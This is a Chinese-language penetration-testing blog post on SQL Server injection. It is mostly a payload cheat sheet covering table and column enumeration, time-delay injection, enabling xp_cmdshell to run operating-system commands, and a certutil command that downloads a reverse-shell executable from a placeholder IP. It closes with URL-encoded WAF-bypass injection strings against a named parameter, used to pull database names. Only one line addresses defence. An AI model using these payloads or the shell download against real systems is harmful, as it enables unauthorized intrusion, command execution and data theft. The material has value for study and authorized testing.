您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關(guān)如何進行SQL Server 注入的分析,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關(guān)知識有一定的了解。
在實習的滲透測試項目中,遇到的數(shù)據(jù)庫系統(tǒng)絕大部分是SQL Server。也算是了解和熟悉Mssql 的一個重要過程吧。
獲取某數(shù)據(jù)庫的所有表(假設庫名為fooDB)
--XType='U':表示所有用戶表;
--XType='S':表示所有系統(tǒng)表;
SELECTname FROM fooDB..sysobjects Where xtype='U';
獲取某表所有字段名(假設表名為fooTable)
SELECTname FROM SysColumns WHERE id=Object_id('fooTable');
延時注入
SELECT* FROM fooTable WHERE id=1 WAITFOR DELAY '0:0:3';
2、常用內(nèi)置函數(shù)
db_name()-- 當前庫名
user-- 當前用戶名
suser_name()-- 登陸用戶名
3、like查詢大小寫敏感模式
SELECT* FROM dt WHERE columnname COLLATE Chinese_PRC_CS_AS LIKE 'aa%';
舉例分析Chinese_PRC_CS_AI_WS:
前半部份:指 UNICODE字符集,Chinese_PRC_指針對大陸簡體字UNICODE 的排序規(guī)則。
_BIN 二進制排序
_CI(CS) 是否區(qū)分大小寫,CI不區(qū)分,CS區(qū)分
_AI(AS) 是否區(qū)分重音,AI不區(qū)分,AS區(qū)分
_KI(KS) 是否區(qū)分假名類型,KI不區(qū)分,KS區(qū)分
_WI(WS) 是否區(qū)分寬度,WI不區(qū)分,WS區(qū)分
4、實現(xiàn)limitm,n
查詢結(jié)果中第7 條到第 9條記錄,如 MySql中的 limit 7,3
selecttop 3 id from tablename
whereid not in (
selecttop 6 id from tablename
)
開啟xp_cmdshell存儲過程
EXECsp_configure 'show advanced options', 1;
RECONFIGURE;
EXECsp_configure 'xp_cmdshell', 1;
RECONFIGURE;
關(guān)閉只需將開啟語句的第二個1改成0再執(zhí)行即可
運行命令
execmaster..xp_cmdshell "whoami";
execmaster..xp_cmdshell "ping 127.0.0.1 -n 5 > nul";
execmaster..xp_cmdshell "certutil -urlcache -split -fhttp://IP/re_shell.exe D:\re_shell.exe";
徹底防御xp_cmdshell方法:修復sql注入漏洞、刪除xplog70.dll 組件
and可用:?key=aa'+and+db_name()>1
and不可用:?key='%2buser()^1
convert轉(zhuǎn)換類型:?key=a'%2b(convert(int,@@version))
; dEcLaRe @s vArChAr(8000) sEt
@s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29eXeC(@s)-- -
2、有趣的繞過例子輸入單引號時會報錯
嘗試%23和--+-的注釋來判斷后端數(shù)據(jù)庫系統(tǒng)類型。語句出錯的時候返回200并報錯。正確的時候是302??芍獮閙ssql。
服務端對數(shù)據(jù)進行了攔截和過濾,拒絕處理請求。然而可利用varchar^int 來爆出數(shù)據(jù)。
?appSysCode='%2buser%5e1--+-
攔截有點厲害。嘗試了許多select方式都不行。
?appSysCode=a'%2b(select+'aaa')--+-
?appSysCode=a'%2b(select+1)%5e1--+-
?appSysCode=a'%2b(convert(int,(select+'bbb')))%5e1--+-(這里只有a報錯)
?appSysCode=a'%2b(convert(varchar,(select+'bbb')))%5e1--+-(這里直接302)
?appSysCode=a'%2b(convert(int,(select+'bbb')))--+-
?appSysCode=a'%3bSELECT+11--+-
?appSysCode=a'%3bexec+xxxxx--+-
不過還是存在規(guī)則缺陷的。
?appSysCode=a'%3bselect+*+from+(select+'aaa'+as+c)+t2+where+c%5e1=0--+-
可爆出任意數(shù)據(jù)
?appSysCode=a'%3bSELECT+name+FROM+master..sysdatabases+where+name%5e1%3e0+and+name+NOT+IN+('master','model','msdb','tempdb','northwind','pubs')--+-
關(guān)于如何進行SQL Server 注入的分析就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。